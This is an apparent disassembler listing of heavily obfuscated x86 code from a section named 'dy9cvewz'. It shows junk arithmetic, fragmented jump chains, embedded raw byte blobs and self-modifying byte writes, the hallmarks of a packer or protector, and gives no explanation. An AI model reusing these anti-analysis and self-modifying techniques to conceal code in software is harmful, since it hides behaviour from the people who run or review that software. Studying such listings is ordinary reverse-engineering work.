; ---------------------------------------------------------------------------
		lea	eax, nullsub_531
		jmp	loc_4894EB
; ---------------------------------------------------------------------------
		align 4
		dd 1FBDE8h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48ADDF

loc_48840A:				; CODE XREF: sub_48C699+Bj
		jmp	nullsub_533
; END OF FUNCTION CHUNK	FOR sub_48ADDF
; ---------------------------------------------------------------------------
		align 10h
		push	offset byte_48B16B
		jmp	locret_48AD45
; ---------------------------------------------------------------------------
		rol	esi, 3
		cmp	eax, ebp
		jmp	loc_48C5B3
; ---------------------------------------------------------------------------

loc_488424:				; CODE XREF: dy9cvewz:004885ADj
		xor	eax, 11CACD22h
		add	eax, 6A5DB647h
		call	sub_4883EC
		xor	edx, 0FB853999h
		add	edx, ebp
		add	edx, 1B31F2F8h
		push	offset byte_48B21B
		jmp	locret_48AD72
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_487E6B

loc_48844F:				; CODE XREF: sub_487E6B+Ej
		jmp	loc_487463
; END OF FUNCTION CHUNK	FOR sub_487E6B
; ---------------------------------------------------------------------------
		jmp	loc_48AD52
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E8h	; CODE XREF: dy9cvewz:0048C268j
		dd 2E94h, 0C870000h, 0C875924h,	1C875924h, 1E49E924h, 0
		dd 0E8008A9Dh, 3E4Ch, 24148700h, 6401C65Ah, 906E859h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_488AE9

loc_48848C:				; CODE XREF: sub_488AE9+5j
		jmp	loc_48A945
; END OF FUNCTION CHUNK	FOR sub_488AE9
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_48B3BA

loc_488492:				; CODE XREF: sub_48B3BA:loc_4884E0j
		mov	eax, offset loc_48C43D
		jmp	loc_48BD60
; END OF FUNCTION CHUNK	FOR sub_48B3BA
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_48849D:				; CODE XREF: dy9cvewz:loc_488F48j
		mov	byte ptr [edi],	9Ch
		pop	edi
		push	offset dword_48A4F8
		jmp	locret_48B552
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48C24E

loc_4884AB:				; CODE XREF: sub_48C24E:loc_48870Aj
		mov	byte ptr [ecx],	87h
		push	offset loc_48937A
		jmp	loc_48AD4D
; END OF FUNCTION CHUNK	FOR sub_48C24E
; ---------------------------------------------------------------------------
		dd 8B520000h, 241487D7h, 0E36E8h, 0C8C10000h, 241C870Fh
		dd 0F07DE85Bh, 0E900FFFFh, 0F9Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_488FD4

loc_4884D8:				; CODE XREF: sub_488FD4+EFEj
		jmp	nullsub_529
; END OF FUNCTION CHUNK	FOR sub_488FD4
; ---------------------------------------------------------------------------
		align 2
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_48B3BA

loc_4884E0:				; CODE XREF: sub_48B3BA-22CBj
		jmp	loc_488492
; END OF FUNCTION CHUNK	FOR sub_48B3BA
; ---------------------------------------------------------------------------
		align 2
		dw 0C081h
; ---------------------------------------------------------------------------
		mov	ah, 0EBh
		retn
; ---------------------------------------------------------------------------
		db 9
		dd 14B4C081h, 8B52F63Ch, 241487D3h, 43E99C56h, 0FFFFFBh
		dd 0FA6A860Fh
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_488506	proc near		; CODE XREF: dy9cvewz:loc_48B069p

; FUNCTION CHUNK AT 004885CB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00488F7A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0048A596 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0048B9A9 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	byte ptr [ecx],	8Bh
		pop	ecx
		jmp	loc_4885CB
sub_488506	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xor	edx, 9D8C7B1Bh
		push	offset loc_48BEA0
		jmp	locret_48AFA6
; ---------------------------------------------------------------------------

loc_488523:				; CODE XREF: dy9cvewz:loc_48BB5Aj
					; DATA XREF: dy9cvewz:loc_48BB50o
		xor	eax, 6CF668F8h
		push	eax

loc_48852A:				; DATA XREF: dy9cvewz:004879C4o
		test	eax, 86A0A68h
		mov	[eax-7Fh], ebx
		rcr	byte ptr [eax],	0EBh
		xchg	eax, edx
		mov	ebp, ecx
		jmp	short loc_488575
; ---------------------------------------------------------------------------
		align 4
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_426. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
		db 0
; ---------------------------------------------------------------------------

loc_488541:				; CODE XREF: dy9cvewz:0048BE12j
					; DATA XREF: sub_48BE08o
		xchg	edi, [esp]
		pop	edi
		push	ebx
		mov	ebx, esi
		xchg	ebx, [esp]
		call	sub_4898B7
		jmp	loc_48763E
; ---------------------------------------------------------------------------
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_488556:				; CODE XREF: sub_48AD01:loc_48B30Fj
		or	esi, 761AACC7h
		xor	edi, eax
		test	esi, eax
		jmp	loc_4897D2
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48899B

loc_488567:				; CODE XREF: sub_48899B-136Dj
		mov	[edi], edx
		push	ebp
		jmp	loc_488270
; END OF FUNCTION CHUNK	FOR sub_48899B
; ---------------------------------------------------------------------------
		align 10h
		dd 0FC28820Fh
		db 0FFh
; ---------------------------------------------------------------------------

loc_488575:				; CODE XREF: dy9cvewz:00488538j
		inc	dword ptr [ecx-56728C18h]
		setalc
		xor	eax, 581F619Dh
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp]
		jmp	loc_4877FB
; ---------------------------------------------------------------------------
		align 2
		lea	eax, word_48742E
		push	eax
		push	0DDE62B40h
		pop	eax
		add	eax, 1C0AB8DCh
		xor	eax, 4DD0E5EBh
		and	eax, 0CE763C9Bh
		jmp	loc_488424
; ---------------------------------------------------------------------------
		dw 8100h
		dd 0F159AC0h, 75E88121h, 0F7D9CFB5h, 1000C0h, 29DDE900h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_488506

loc_4885CB:				; CODE XREF: sub_488506+8j
		sub	edx, 0ADC6309Dh
		cmp	edx, 48A7397Bh
		jmp	loc_48B9A9
; END OF FUNCTION CHUNK	FOR sub_488506
; ---------------------------------------------------------------------------
		dd 0B5DF8100h, 872DCB0Ah, 815B241Ch, 8736BFF6h,	68F52AE4h
		dd 4887DAh, 2F36E9h, 39E6E900h,	0E9000000h, 403h, 0D08B5200h
		dd 68241487h, 79DB0AD6h, 22BEE9h, 9D008B00h, 48B6F768h
		dd 3D4BE900h, 0C3000000h, 7BE90000h, 1Dh
		db 0, 51h
; ---------------------------------------------------------------------------

loc_48862E:				; DATA XREF: sub_48B3BA-1CD8o
		pushf
		push	offset byte_48B2CB
		jmp	loc_489694
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h
; ---------------------------------------------------------------------------

loc_48863C:				; DATA XREF: sub_48C8EE:loc_48813Co
		call	nullsub_528
		push	esi
		mov	esi, ebx
		xchg	esi, [esp]
		jmp	loc_489AF8
; ---------------------------------------------------------------------------
		dd 3CE3BB00h
		db 0B8h, 71h

; =============== S U B	R O U T	I N E =======================================



sub_488652	proc near		; CODE XREF: dy9cvewz:00488889p
		xchg	eax, [esp+0]
		xchg	ebx, [esp+0]
		mov	eax, ebx
		pop	ebx
		push	edx
		jmp	near ptr loc_487EDD+1
sub_488652	endp

; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_48B8DE

loc_488662:				; CODE XREF: sub_48B8DE:loc_488727j
		call	sub_489688
		retn
; END OF FUNCTION CHUNK	FOR sub_48B8DE
; ---------------------------------------------------------------------------
		dd 0EAC38100h, 9D6A2CCEh
; ---------------------------------------------------------------------------

loc_488670:				; DATA XREF: sub_48789B+8o
		pop	edx
		sbb	al, 24h
		push	eax
		mov	eax, edx
		xchg	eax, [esp]
		jmp	loc_489096
; ---------------------------------------------------------------------------
		align 10h

loc_488680:				; CODE XREF: dy9cvewz:loc_48B7B5j
		pop	ecx
		sub	ecx, 3A7554ACh
		push	offset loc_48B22F
		jmp	loc_48A9D1
; ---------------------------------------------------------------------------
		db 81h,	0E8h, 0EDh
		dd 0E9659AADh, 0FFFFF987h, 8706C600h, 0C9DE685Eh, 2EE90048h
		dd 27h,	38C68100h, 3BA9C72Dh, 0E1E95ED6h, 40h, 0E3819C00h
		dd 0DF47A516h, 0FFAD6857h, 815F7AAEh, 78B9ACEFh, 6BF781D7h
		dd 0E979AF6Ah, 3518h
		db 0
; ---------------------------------------------------------------------------

loc_4886DD:				; CODE XREF: dy9cvewz:0048952Aj
		push	offset byte_4891A7
		jmp	loc_48B44B
; ---------------------------------------------------------------------------
		align 4

loc_4886E8:				; CODE XREF: dy9cvewz:00489A80j
		mov	byte ptr [edi],	8Dh
		pop	edi
		mov	edi, offset loc_48B072
		jmp	loc_4888AB
; ---------------------------------------------------------------------------
		align 4

locret_4886F8:				; CODE XREF: dy9cvewz:loc_48752Fj
		retn
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_48BE85

loc_4886FA:				; CODE XREF: sub_48BE85-49Cj
		jmp	loc_48ABCD
; END OF FUNCTION CHUNK	FOR sub_48BE85
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_48A700

loc_488700:				; CODE XREF: sub_48A700:loc_48A710j
		mov	eax, [eax]
		pushf
		call	sub_48C424
; END OF FUNCTION CHUNK	FOR sub_48A700
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48C24E

loc_48870A:				; CODE XREF: sub_48C24E+Aj
		jmp	loc_4884AB
; END OF FUNCTION CHUNK	FOR sub_48C24E
; ---------------------------------------------------------------------------
		align 10h
		dd 0E9FD0300h, 37B0h
		db 2 dup(0), 0C3h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_438. PRESS KEYPAD	"+" TO EXPAND]
		dd 879C0000h
		db 3
		db  81h	; 
		db 0C0h	; À
		db  89h	; ‰
		db  0Fh
		db  88h	; ˆ
		db  38h	; 8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B8DE

loc_488727:				; CODE XREF: sub_48B8DE:loc_48BFDFj
		jnz	loc_488662
		call	sub_488968
		add	al, ch		; CODE XREF: dy9cvewz:loc_489100j
		cmp	eax, 0C300003Ch	; CODE XREF: sub_48B8AB+15j
		add	cl, ch
		nop
		sub	eax, 0
		jmp	loc_489774
; END OF FUNCTION CHUNK	FOR sub_48B8DE
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_48AFE5

loc_488748:				; CODE XREF: sub_48AFE5:loc_4891C9j
					; dy9cvewz:loc_48BD3Cj
		call	sub_48930F
; END OF FUNCTION CHUNK	FOR sub_48AFE5
; ---------------------------------------------------------------------------
		db 2 dup(0)
byte_48874F	db 68h			; DATA XREF: dy9cvewz:00487819o
		dd 2FECA61Bh, 75E3815Bh, 52AF227Fh, 1487D08Bh, 8175B824h
		dd 81E90048h, 0FFFFF0h,	0E9FE13C3h, 3B54h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_542. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0), 0E9h	; CODE XREF: dy9cvewz:0048ACCEj
		dd 2391h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48A96C

loc_48877E:				; CODE XREF: sub_48A96C:loc_48A7AAj
		add	eax, 508AC0C5h
		xor	eax, 0A961ADB4h
		jnz	loc_48BEDD
		add	bh, dh		; CODE XREF: dy9cvewz:loc_48C5B3j
		sal	edi, 1
		ror	byte ptr [edi+ebp+66h],	0B8h
		jmp	loc_48BED7
; END OF FUNCTION CHUNK	FOR sub_48A96C
; ---------------------------------------------------------------------------

locret_48879E:				; CODE XREF: dy9cvewz:0048B894j
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 0FFB3300h, 96380h, 2C76E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4887AE:				; CODE XREF: dy9cvewz:00487C55j
		mov	byte ptr [eax],	0C3h
		call	nullsub_551
		call	sub_48A96C
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_4887BC:				; CODE XREF: sub_48BB9F+D61j
		push	edx
		mov	edx, eax
		xchg	edx, [esp+8+var_8]
		push	80B1925Fh
		pop	eax
		sub	eax, 93895754h
		or	eax, 59577924h
		jmp	loc_489516
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------
		align 2
		dw 6853h
		dd 4D08E3C8h, 0DF3815Bh, 0E9516783h, 1DE1h, 3C870000h
		dd 0A2685F24h, 8751BA90h, 8AE92434h, 21h, 0AF8B0F00h, 0E900003Ah
		dd 0DF5h, 8707C600h, 0C015FF5Fh, 570045B0h, 6C49D968h
		dd 7EE95FABh, 28h
; ---------------------------------------------------------------------------

loc_488824:				; CODE XREF: dy9cvewz:0048AA01j
		call	sub_4895B7
		push	edi
		mov	edi, esi
		xchg	edi, [esp]
		push	9931C207h
		pop	esi
		jmp	loc_48BC55
; ---------------------------------------------------------------------------
		align 4

loc_48883C:				; CODE XREF: dy9cvewz:0048A11Fj
		jnz	loc_489291
		jmp	loc_48AEA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_488847:				; CODE XREF: sub_48BB9F:loc_48C952j
		mov	byte ptr [eax],	0C1h
		pop	eax
		add	edx, eax
		rol	edx, 3
		jmp	loc_48AB3B
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------
byte_488855	db 2 dup(0), 81h	; DATA XREF: dy9cvewz:004891A8o
		dd 0B261F9F0h, 81C503B8h, 1FCDCAC0h, 9D008B6Eh,	48BD2268h
		dd 4054E900h, 810F0000h, 2D8Fh,	28D8E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48C5B9

loc_48887E:				; CODE XREF: sub_48C5B9-2D5Ej
		jmp	nullsub_565
; END OF FUNCTION CHUNK	FOR sub_48C5B9
; ---------------------------------------------------------------------------

loc_488883:				; CODE XREF: dy9cvewz:00487C87j
		ja	loc_48C944
		call	sub_488652
; START	OF FUNCTION CHUNK FOR sub_48C424

loc_48888E:				; CODE XREF: sub_48C424+13j
		jmp	loc_48C336
; END OF FUNCTION CHUNK	FOR sub_48C424
; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_488895	proc near		; CODE XREF: dy9cvewz:004888D2j
					; sub_48AD01-1529p

; FUNCTION CHUNK AT 0048BFB7 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	ebx, 509B42FEh
		push	offset byte_48816D
		jmp	loc_48BFB7
sub_488895	endp

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4888AB:				; CODE XREF: dy9cvewz:004886F1j
		mov	byte ptr [edi],	87h
		xchg	ebx, [esp]
		mov	edi, ebx
		pop	ebx
		add	esi, 0F4B00ED2h
		xchg	esi, [esp]
		jmp	near ptr dword_487B0C+6
; ---------------------------------------------------------------------------
		align 4

loc_4888C4:				; CODE XREF: dy9cvewz:00489663j
		push	offset sub_48CB03
		jmp	loc_48BE24
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h
		xchg	esi, [edi]
		jmp	sub_488895
; ---------------------------------------------------------------------------
		align 4
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_437. PRESS KEYPAD	"+" TO EXPAND]
		align 4

loc_4888DC:				; CODE XREF: dy9cvewz:0048781Ej
		jmp	locret_48AF4C

; =============== S U B	R O U T	I N E =======================================



sub_4888E1	proc near		; CODE XREF: dy9cvewz:004874ADj
					; dy9cvewz:loc_48BBD9p
		xchg	ecx, [esp+0]
		pop	ecx
		mov	byte ptr [eax],	3
		pop	eax
		mov	eax, [eax]
		popf
sub_4888E1	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_48C8EE

loc_4888EC:				; CODE XREF: sub_48C8EE+4j
		jmp	loc_48813C
; END OF FUNCTION CHUNK	FOR sub_48C8EE
; ---------------------------------------------------------------------------
		db 0C1h, 0EBh, 4
		dd 5B14CB81h, 54E95DDCh, 0FFFFEFh, 0E284CA81h, 0CFE86BE7h
		dd 0FFFFEAh
; ---------------------------------------------------------------------------

locret_48890C:				; CODE XREF: dy9cvewz:loc_48BE1Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AAB3

loc_48890D:				; CODE XREF: sub_48AAB3-277j
		jno	loc_48B3D2
		push	0A9A59982h
		jmp	loc_489C1E
; END OF FUNCTION CHUNK	FOR sub_48AAB3
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0BFh
		dd 811D90AFh, 0ABEA98F7h, 0B0C781B1h, 0E8DAFB85h, 1CBFh
		dd 0E81B8B00h, 1DDBh, 0FFED0CE9h, 0C30000FFh, 10E900C3h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_489481

loc_48894B:				; CODE XREF: sub_489481:loc_48AA51j
		jge	loc_487454
; END OF FUNCTION CHUNK	FOR sub_489481
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 17BDh, 0E6A860Fh, 0B890000h,	0FFEAEFE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]

loc_488966:				; CODE XREF: dy9cvewz:004881DEj
		xchg	ebx, [edi]

; =============== S U B	R O U T	I N E =======================================



sub_488968	proc near		; CODE XREF: sub_48B8DE-31B1p
		xchg	eax, [esp+0]
		call	sub_4899DF

loc_488970:				; CODE XREF: sub_48A6E2+9j
		and	esi, 0FE911B76h
		rol	esi, 0Ah
		or	esi, 23E3176Bh
		xor	esi, 8E5F487h
		add	esi, 5FFC6D11h
		add	esi, ecx
		call	sub_48958B

locret_488992:				; CODE XREF: dy9cvewz:004894B0j
		retn
sub_488968	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0F2C0E900h		; CODE XREF: dy9cvewz:0048C367j
		db 2 dup(0FFh),	0

; =============== S U B	R O U T	I N E =======================================



sub_48899B	proc near		; DATA XREF: sub_48B7E3+9o

var_4		= dword	ptr -4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 0048758D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00487622 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00488270 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00488567 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00488CAE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00488F38 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00488FAA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00489135 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00489F38 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0048A6F1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0048A77E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048B98D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0048BEB2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048BEB9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0048C1B3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048C5EE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0048C999 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esi
		xchg	ebp, [esp+4+var_4]
		push	eax
		pop	esi
		xchg	esi, [esp+4+var_4]
		call	edx
		test	byte ptr [ebp-23h], 1
		jmp	loc_487622
sub_48899B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_489481

loc_4889B3:				; CODE XREF: sub_489481+Fj
		push	dword ptr [ebp+8]
		call	eax
		jmp	loc_48945D
; END OF FUNCTION CHUNK	FOR sub_489481
; ---------------------------------------------------------------------------
		align 2
		db  57h	; W
		db 0BFh	; ¿
		db 0D0h	; Ð
		db  99h	; ™
		db  48h	; H
		db    0
		db 0E9h	; é
		db  6Ch	; l
		db    2
		db    0
		db    0
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48987C

loc_4889CB:				; CODE XREF: sub_48987C:loc_487646j
		push	833E94BFh
		pop	ecx
		rol	ecx, 11h
		add	ecx, 1DE7905Dh
		cmp	edx, ecx
		pop	ecx
		jmp	loc_488EFE
; END OF FUNCTION CHUNK	FOR sub_48987C
; ---------------------------------------------------------------------------
		ja	loc_48C752

; =============== S U B	R O U T	I N E =======================================



sub_4889E8	proc near		; CODE XREF: sub_488AE9:loc_48BFD8p

; FUNCTION CHUNK AT 00488A32 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004890D7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0048A019 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [edx],	0C1h
		pop	edx
		add	edx, eax
		jmp	loc_4890D7
sub_4889E8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		popf
		xchg	eax, [esp]
		jmp	loc_487FCD
; ---------------------------------------------------------------------------
		align 2
		jmp	loc_48B4F6
; ---------------------------------------------------------------------------

loc_488A07:				; CODE XREF: dy9cvewz:004873ADj
		jb	loc_48BD3C
		jmp	loc_48C749
; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, ecx
		fisubr	word ptr [esp]
		call	loc_48A4B7
; START	OF FUNCTION CHUNK FOR sub_487E6B

loc_488A1F:				; CODE XREF: sub_487E6B-127j
		jmp	nullsub_548
; END OF FUNCTION CHUNK	FOR sub_487E6B
; ---------------------------------------------------------------------------
		db 0, 0C3h
; ---------------------------------------------------------------------------

loc_488A26:				; CODE XREF: dy9cvewz:0048AE34j
		jmp	loc_487BEA
; ---------------------------------------------------------------------------

loc_488A2B:				; DATA XREF: sub_48C84D+27Fo
		add	edx, eax

loc_488A2D:				; DATA XREF: sub_48C84D:loc_48AAD0w
		lahf
		retn	3103h
; ---------------------------------------------------------------------------
		db 0C2h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4889E8

loc_488A32:				; CODE XREF: sub_4889E8+6F4j
		dec	ecx
		jmp	loc_48A019
; END OF FUNCTION CHUNK	FOR sub_4889E8
; ---------------------------------------------------------------------------

loc_488A38:				; CODE XREF: dy9cvewz:004890F6j
		mov	[ecx], eax

loc_488A3A:				; CODE XREF: sub_489347:loc_48A0E2p
		xchg	esi, [esp]
		pop	esi
		call	sub_48AFE5
; ---------------------------------------------------------------------------
		db 0
		dd 3766E900h, 0
; ---------------------------------------------------------------------------
		jmp	loc_48C64F
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
; ---------------------------------------------------------------------------
		sbb	eax, 18h
		add	[esi+68h], dl
		xchg	eax, edi
		mov	edx, ds
		mov	al, 5Eh
		xor	esi, 0C03E24D2h
		add	esi, 8F640141h
		xchg	esi, [esp]
		jmp	loc_48956A
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, offset loc_487505
		jmp	loc_48C639
; ---------------------------------------------------------------------------
		dd 0C0C15900h, 3AC88111h, 81DDB92Bh, 9B0687E8h,	2C0C16Bh
		dd 48A2A968h, 0F0EEE900h, 0FFFFh, 8112C0C1h, 0B46974C8h
		dd 0EF081B0h, 81DB0864h, 417551C8h, 0C449681Ch,	8BE90048h
		dd 24h
		db 0
; ---------------------------------------------------------------------------

locret_488AC1:				; CODE XREF: dy9cvewz:0048785Cj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48924C

loc_488AC2:				; CODE XREF: sub_48924C+1Cj
		jmp	nullsub_552
; END OF FUNCTION CHUNK	FOR sub_48924C
; ---------------------------------------------------------------------------
		align 4
		and	edx, ebx
		jmp	sub_48BE08
; ---------------------------------------------------------------------------
		align 10h
		dd 0E9178900h, 0FFFFEFA4h, 0BB890F00h, 0E9000041h, 3637h
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_433. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		push	ebx

; =============== S U B	R O U T	I N E =======================================



sub_488AE9	proc near		; CODE XREF: sub_48BB9F-17C3p

; FUNCTION CHUNK AT 0048848C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048A945 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0048BEED SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0048BFD8 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	edx
		jmp	loc_48848C
sub_488AE9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 0D9F18100h, 0E89CAF73h, 3662h, 0A1830F00h, 8B000036h
		db 0Ah,	0Bh, 0C6h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_488B0B:				; CODE XREF: sub_48BB9F:loc_48AEF6j
		test	eax, 200h
		jmp	loc_48B966
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------

loc_488B16:				; CODE XREF: sub_48AD01+609p
		xchg	edx, [esp]
		pop	edx
		push	0CBC1BDD9h
		pop	esi
		and	esi, 1463D10Fh
		call	sub_487C3C
		add	cl, ch		; CODE XREF: dy9cvewz:0048C66Ej
		in	al, dx
		cmc
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5BE881FFh, 879B66FCh, 505B241Ch, 34744768h, 0C8815830h
		dd 0AFF598DAh, 9B47C081h, 0CFE9974Bh, 0FFFFF5h,	48A84368h
		dd 1CE4E900h, 81000000h, 0AECDCACFh, 91F681BBh,	320CE5Dh
		dd 0A0685EC6h, 0E9004877h, 0A11h, 0F0F4830Fh, 44E9FFFFh
		dd 0
		dd 0F5890F00h, 0E900003Bh, 300Fh, 2EEE8100h, 81C282C4h
		dd 73FE49F6h, 0A7EE8147h, 81472D38h, 9E2FA9F6h,	0E9FE0331h
		dd 2995h, 8A0F0000h, 3437h, 58240487h, 692E6857h, 9CE99500h
		dd 87000013h, 35A2414h,	68958F0h, 0B6B9685Eh, 59E90048h
		dd 0C1000034h, 0E99915C9h, 2A35h, 800F0000h, 21CDh, 709E9h
		dd 87368B00h, 0FDE82434h, 0Dh, 0F218E900h, 0F90BFFFFh
		dd 33DBE9h, 0F000000h, 0E0C81h,	0E9DE2B00h, 28F2h, 8B241C8Ch
		db 0EBh
; ---------------------------------------------------------------------------

loc_488C1D:				; CODE XREF: dy9cvewz:00487C75j
					; dy9cvewz:loc_48C9AFj
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_488C20:				; CODE XREF: dy9cvewz:00489A8Bj
		jmp	loc_48AE5D
; ---------------------------------------------------------------------------
		align 2

loc_488C26:				; CODE XREF: dy9cvewz:00487476j
		jmp	locret_489CB5
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_488FD4

loc_488C2C:				; CODE XREF: sub_488FD4+2588j
					; dy9cvewz:0048CADCj
		push	ecx
		push	edi
		jmp	loc_489ECD
; END OF FUNCTION CHUNK	FOR sub_488FD4
; ---------------------------------------------------------------------------

locret_488C33:				; CODE XREF: dy9cvewz:loc_487C61j
		retn
; ---------------------------------------------------------------------------
		db 0
		db 0E9h	; é
		db  2Eh	; .
		db  3Bh	; ;
		db    0
		db    0
		align 4

loc_488C3C:				; DATA XREF: dy9cvewz:004880E6o
		xchg	eax, [esp]
		push	edi
		push	0CFCD9CCBh
		pop	edi
		push	edx
		push	0ADB6C8D5h
		pop	edx
		jmp	loc_48B978
; ---------------------------------------------------------------------------
		jle	loc_48A710
		mov	esi, [eax]

loc_488C5A:				; CODE XREF: dy9cvewz:loc_48A7FBj
		rol	edi, 17h
		and	edi, 0D822D77Ch
		test	edi, 80h
		jmp	loc_48AA4B
; ---------------------------------------------------------------------------
		mov	byte ptr [edx],	87h
		xchg	ebx, [esp]
		mov	edx, ebx
		pop	ebx
		jmp	loc_48BA55
; ---------------------------------------------------------------------------
		dd 0F46EE800h, 0E900FFFFh, 0FFFFE984h, 26E9C10Bh, 1Ch
					; CODE XREF: dy9cvewz:0048AEDBj
		dd 0FFF24FE8h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48773C

loc_488C95:				; CODE XREF: sub_48773C+Bj
		jmp	nullsub_568
; END OF FUNCTION CHUNK	FOR sub_48773C
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_538. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_488C9C:				; CODE XREF: dy9cvewz:0048BCA1j
		jmp	loc_48AE10
; ---------------------------------------------------------------------------

locret_488CA1:				; CODE XREF: dy9cvewz:00487CAFj
		retn
